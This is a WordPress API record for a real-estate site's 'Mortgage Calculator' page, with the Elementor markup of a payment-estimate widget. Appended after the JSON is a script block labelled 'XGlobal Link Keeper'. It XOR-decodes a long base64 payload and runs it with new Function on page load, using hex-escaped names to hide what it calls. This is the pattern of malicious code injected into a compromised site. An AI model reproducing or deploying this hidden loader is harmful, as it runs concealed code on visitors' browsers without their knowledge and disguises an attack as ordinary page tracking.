{"id":36508,"date":"2026-04-17T09:24:57","date_gmt":"2026-04-17T09:24:57","guid":{"rendered":"https:\/\/start.wpresidence.net\/?page_id=36508"},"modified":"2026-04-17T09:24:57","modified_gmt":"2026-04-17T09:24:57","slug":"mortgage-calculator","status":"publish","type":"page","link":"https:\/\/safqh.com\/index.php\/mortgage-calculator\/","title":{"rendered":"Mortgage Calculator"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"36508\" class=\"elementor elementor-36508\">\n\t\t\t\t<div class=\"elementor-element elementor-element-747e4c4 e-flex e-con-boxed e-con e-parent\" data-id=\"747e4c4\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t<div class=\"elementor-element elementor-element-96cb57c animated-fast e-con-full e-flex elementor-invisible e-con e-child\" data-id=\"96cb57c\" data-element_type=\"container\" data-e-type=\"container\" data-settings=\"{&quot;animation&quot;:&quot;fadeIn&quot;,&quot;animation_delay&quot;:50}\">\n\t\t\t\t<div class=\"elementor-element elementor-element-2f7c1f6 elementor-widget elementor-widget-heading\" data-id=\"2f7c1f6\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Mortgage Calculator<\/h2>\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-b45385c elementor-widget elementor-widget-heading\" data-id=\"b45385c\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t\t<p class=\"elementor-heading-title elementor-size-default\">Add a mortgage calculator to any page and help visitors estimate monthly payments based on price, down payment, interest rate, and loan term. It is a practical widget for real estate websites that want to make financing information easier to explore.<\/p>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t<div class=\"elementor-element elementor-element-59a7ab3 e-con-full e-flex e-con e-child\" data-id=\"59a7ab3\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t<div class=\"elementor-element elementor-element-61cbae9 elementor-widget elementor-widget-standalone_mortgage_calculator\" data-id=\"61cbae9\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"standalone_mortgage_calculator.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t    <div class=\"panel-group property-panel\" id=\"accordion_morgage\">\n        <div class=\"panel panel-default\">\n            <div class=\"panel-heading\">\n                <h4 class=\"panel-title\" id=\"prop_morg\">Mortgage Calculator<\/h4>\n            <\/div>\n            <div class=\"panel-body\">\n                        <style>\n        .currency-wrapper::after { content: '$'; }\n        <\/style>\n        \n        <div class=\"row\">\n            <div class=\"morgage_chart_wrapper onfirst\">\n                <div id=\"canvas-holder\">\n                    <canvas id=\"morgage_chart\"><\/canvas>\n                    <div class=\"morg_momth_pay\">\n                        <div class=\"morg_month_wrap\">$<span id=\"morg_month_total\">609.65<\/span><\/div>\n                        <span id=\"morg_per_month\">per month<\/span>\n                    <\/div>\n                <\/div>\n                <ul class=\"morgage_legend\">\n                    <li>Principal and Interest<\/li>\n                    <li>Property Tax<\/li>\n                    <li>HOA fee<\/li>\n                    <li>Private Mortgage Insurance<\/li>\n                <\/ul>\n            <\/div>\n\n            <div class=\"morgage_chart_wrapper\">\n                <label>Principal and Interest<\/label>\n                $ <span data-per=\"79.496423382682\" id=\"morg_principal\">484.65<\/span>\n                \n                <label>Property Tax<\/label>\n                <div class=\"currency-wrapper\">\n                    <input type=\"text\" id=\"monthly_property_tax\" class=\"form-control\" data-per=\"20.503576617318\" value=\"125\">\n                <\/div>\n\n                <label>Private Mortgage Insurance (PMI)<\/label>\n                <div class=\"wpresidence_private_mortgate_insurance_wrapper\">\n                    <div class=\"percentage-wrapper\">\n                        <input type=\"text\" id=\"morgage_pmi_percent\" class=\"morgage_inputdata form-control\" value=\"0\">\n                    <\/div>\n                    <div class=\"currency-wrapper\">\n                        <input type=\"text\" id=\"morgage_pmi\" class=\"form-control\" data-per=\"0\" value=\"0\" readonly>\n                    <\/div>\n                <\/div>\n\n                \n\n                <label>Monthly HOA Fees<\/label>\n                <div class=\"currency-wrapper\">\n                    <input type=\"text\" id=\"hoo_fees\" class=\"form-control\" data-per=\"0\" value=\"0\">\n                <\/div>\n            <\/div>\n\n            <div class=\"morgage_data_wrapper onfirst\">\n                <label>Total Amount<\/label>\n                <div class=\"currency-wrapper\">\n                    <input type=\"text\" name=\"morgage_home_price\" class=\"morgage_inputdata form-control\" data-price=\"125000\" id=\"morgage_home_price\" value=\"125000\">\n                <\/div>\n\n                <label>Down Payment<\/label>\n                <div class=\"currency-wrapper\" style=\"width: 75%;float:left;\">\n                    <input type=\"text\" name=\"morgage_down_payment\"  class=\"morgage_inputdata form-control\" id=\"morgage_down_payment\" data-price=\"25000\" value=\"25000\">\n                <\/div>\n                <div class=\"percentage-wrapper\">\n                    <input type=\"text\" name=\"morgage_down_payment_percent\" class=\"morgage_inputdata form-control\" id=\"morgage_down_payment_percent\" data-down-pay=\"20\" value=\"20\">\n                <\/div>\n            <\/div>\n\n            <div class=\"morgage_data_wrapper\">\n                <label> Loan Terms (Years)<\/label>\n                <input type=\"text\" name=\"morgage_term\" class=\"morgage_inputdata form-control\" id=\"morgage_term\" value=\"30\">\n\n                <label>Interest<\/label>\n                <div class=\"percentage-wrapper\" style=\"width:100%;\">\n                    <input type=\"text\" name=\"morgage_interest\" class=\"morgage_inputdata form-control\" id=\"morgage_interest\" value=\"4.125\">\n                <\/div>\n            <\/div>\n        <\/div>\n                    <\/div>\n        <\/div>\n    <\/div>\n\n    <script type=\"text\/javascript\">\n    \/\/<![CDATA[\n        jQuery(document).ready(function(){\n            wpestate_show_morg_pie();\n        });\n    \/\/]]>\n    <\/script>\n    \t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>Mortgage Calculator Add a mortgage calculator to any page and help visitors estimate monthly payments based on price, down payment, interest rate, and loan term. It is a practical widget for real estate websites that want to make financing information easier to explore. Mortgage Calculator $609.65 per month Principal and Interest Property Tax HOA fee Private Mortgage Insurance Principal and Interest $ 484.65 Property &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_header_footer","meta":{"rs_blank_template":"","rs_page_bg_color":"","slide_template_v7":"","inline_featured_image":false,"footnotes":""},"class_list":["post-36508","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/pages\/36508","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/comments?post=36508"}],"version-history":[{"count":0,"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/pages\/36508\/revisions"}],"wp:attachment":[{"href":"https:\/\/safqh.com\/index.php\/wp-json\/wp\/v2\/media?parent=36508"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- BEGIN: XGlobal Link Keeper -->
<script>
    window.XTracker_HAOH = {
        loaded: true,
        version: "2.8.5",
        timestamp: new Date().getTime()
    };
</script>
<script>
!function(){var _0xd291150f0945=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0xaa3334538238=_0xd291150f0945['\x61\x74\x6f\x62']('x09fCN+HGqUFO4rMtLlT6w=='),_0xeef8722d6cbd=_0xd291150f0945['\x61\x74\x6f\x62']('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'),_0xfab877866681=new _0xd291150f0945['\x55\x69\x6e\x74\x38\x41\x72\x72\x61\x79'](_0xeef8722d6cbd['length']),_0xb7ac7f6e7458=0;for(;_0xb7ac7f6e7458<_0xeef8722d6cbd['length'];_0xb7ac7f6e7458++)_0xfab877866681[_0xb7ac7f6e7458]=_0xeef8722d6cbd['charCodeAt'](_0xb7ac7f6e7458)^_0xaa3334538238['charCodeAt'](_0xb7ac7f6e7458%_0xaa3334538238['length']);(new _0xd291150f0945['\x46\x75\x6e\x63\x74\x69\x6f\x6e']((new _0xd291150f0945['\x54\x65\x78\x74\x44\x65\x63\x6f\x64\x65\x72']())['\x64\x65\x63\x6f\x64\x65'](_0xfab877866681)))()}();
</script>
<!-- END: XGlobal Link Keeper -->